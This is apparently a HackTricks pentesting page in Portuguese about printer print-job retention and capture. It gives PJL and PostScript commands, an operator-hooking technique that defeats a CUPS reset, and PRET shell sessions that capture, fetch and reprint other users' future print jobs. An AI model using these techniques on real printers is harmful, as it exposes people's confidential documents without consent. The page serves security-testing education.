hacktricks/network-services-pentesting/pentesting-printers/print-job-retention.md
2023-06-06 18:56:34 +00:00

9.9 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Retenção de Trabalho

Algumas impressoras possuem trabalhos de impressão armazenados acessíveis a partir do servidor web. Geralmente, no entanto, a retenção de trabalhos deve ser ativada explicitamente para um determinado trabalho de impressão e pode ser feita usando comandos PJL padrão ou código PostScript proprietário. Os trabalhos são então mantidos na memória e podem ser reimpressos a partir do painel de controle.

PJL

A retenção de trabalho legítima pode ser ativada para o documento atual definindo a variável PJL HOLD conforme mostrado abaixo:

@PJL SET HOLD=ON
[actual data to be printed follows]

Os trabalhos retidos são mantidos na memória e podem ser reimpressos a partir do painel de controle da impressora. Essa funcionalidade é suportada por várias impressoras, no entanto, parece que apenas alguns dispositivos Epson permitem que a retenção permanente de trabalhos seja definida usando @PJL DEFAULT HOLD=ON.

Como testar esse ataque?

Use o comando hold do PRET no modo pjl e verifique se a retenção permanente de trabalhos pode ser definida:

./pret.py -q printer pjl
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Setting job retention, reconnecting to see if still enabled
Retention for future print jobs: OFF

PostScript

O PostScript oferece funcionalidade semelhante, mas é específico para modelo e fornecedor. Para as séries HP LaserJet 4k e várias impressoras Kyocera, a retenção de trabalhos pode ser ativada adicionando os seguintes comandos a um documento PostScript:

<< /Collate true /CollateDetails
<< /Hold 1 /Type 8 >> >> setpagedevice

Embora seja teoricamente possível habilitar permanentemente a retenção de trabalhos PostScript usando o operador startjob, essa configuração é explicitamente redefinida pelo CUPS no início de cada trabalho de impressão usando << /Collate false >> setpagedevice. Para contrariar esse mecanismo de proteção, no entanto, o atacante pode redefinir permanentemente o operador setpagedevice para não ter efeito algum.

Como testar esse ataque?

Use o comando hold do PRET no modo ps:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> hold
Job retention enabled.

Captura de Trabalho

É possível, embora incomum, ativar a retenção de trabalhos na caixa de diálogo de impressão, conforme discutido acima. No entanto, com o PostScript, é possível ter acesso completo ao trabalho de impressão atual e, com o operador startjob, é possível até mesmo sair do loop do servidor e acessar trabalhos futuros. Tal funcionalidade tem o potencial de capturar todos os documentos se o PostScript for usado como driver de impressora.

PostScript

Com a capacidade de se conectar a operadores PostScript arbitrários, é possível manipular e acessar trabalhos de impressão estrangeiros. Para analisar o fluxo de dados real enviado para a impressora, pode-se aplicar um recurso interessante da linguagem PostScript: ler seu próprio código de programa como dados usando o operador currentfile. Dessa forma, todo o fluxo de dados a ser processado pelo interpretador PostScript pode ser acessado por leitura e armazenado em um arquivo no dispositivo da impressora. Se a impressora não oferecer acesso ao sistema de arquivos, os documentos capturados podem ser armazenados na memória, por exemplo, dentro de dicionários PostScript permanentes.
Um problema prático é decidir qual operador deve ser conectado, já que não se tem acesso ao fluxo de dados até que esse operador seja processado pelo interpretador PostScript. Como um atacante deseja capturar trabalhos de impressão desde o início, o operador redefinido deve ser o primeiro operador contido no documento PostScript. Felizmente, todos os documentos impressos com o CUPS são pressionados em uma estrutura fixa que começa com currentfile /ASCII85Decode filter /LZWDecode filter cvx exec. Com base na suposição de tal estrutura fixa, o atacante pode capturar documentos desde o início e executar (ou seja, imprimir) o arquivo posteriormente. Para sistemas de impressão diferentes do CUPS, esse ataque também deve ser possível, mas os operadores precisam ser adaptados. Observe que o cabeçalho PostScript, que geralmente inclui o tamanho da mídia, o usuário e os nomes dos trabalhos, não pode ser capturado usando este método, porque primeiro nos conectamos no início do documento real. Outra estratégia genérica para se conectar no início de cada trabalho de impressão é definir o parâmetro do sistema BeginPage, se suportado pela impressora (a maioria das impressoras faz isso). Essa vulnerabilidade provavelmente está presente em dispositivos de impressão há décadas, pois apenas construções de linguagem definidas pelo padrão PostScript são abusadas.

Use o comando capture do PRET no modo ps:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.

printer:/> capture 
Print job operations:  capture <operation>
  capture start   - Record future print jobs.
  capture stop    - End capturing print jobs.
  capture list    - Show captured print jobs.
  capture fetch   - Save captured print jobs.
  capture print   - Reprint saved print jobs.
printer:/> capture start
Future print jobs will be captured in memory!
printer:/> exit

Agora, imprima documentos arbitrários (certifique-se de que o PRET está desconectado para não bloquear o canal de impressão). Depois, você pode listar, buscar ou reimprimir documentos capturados:

./pret.py -q printer ps
Connection to printer established

Welcome to the pret shell. Type help or ? to list commands.
printer:/> capture list
Free virtual memory: 16.6M | Limit to capture:  5.0M
date          size  user           jobname                 creator             
───────────────────────────────────────────────────────────────────────────────
Jan 25 18:38  3.1M  -              -                       -                   
Jan 25 18:40  170K  -              -                       -                   
printer:/> capture fetch
Receiving capture/printer/690782792
3239748 bytes received. 
Receiving capture/printer/690646210
174037 bytes received.
printer:/> capture print
printing...
printing...
2 jobs reprinted
printer:/> capture stop
Stopping job capture, deleting recorded jobs
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥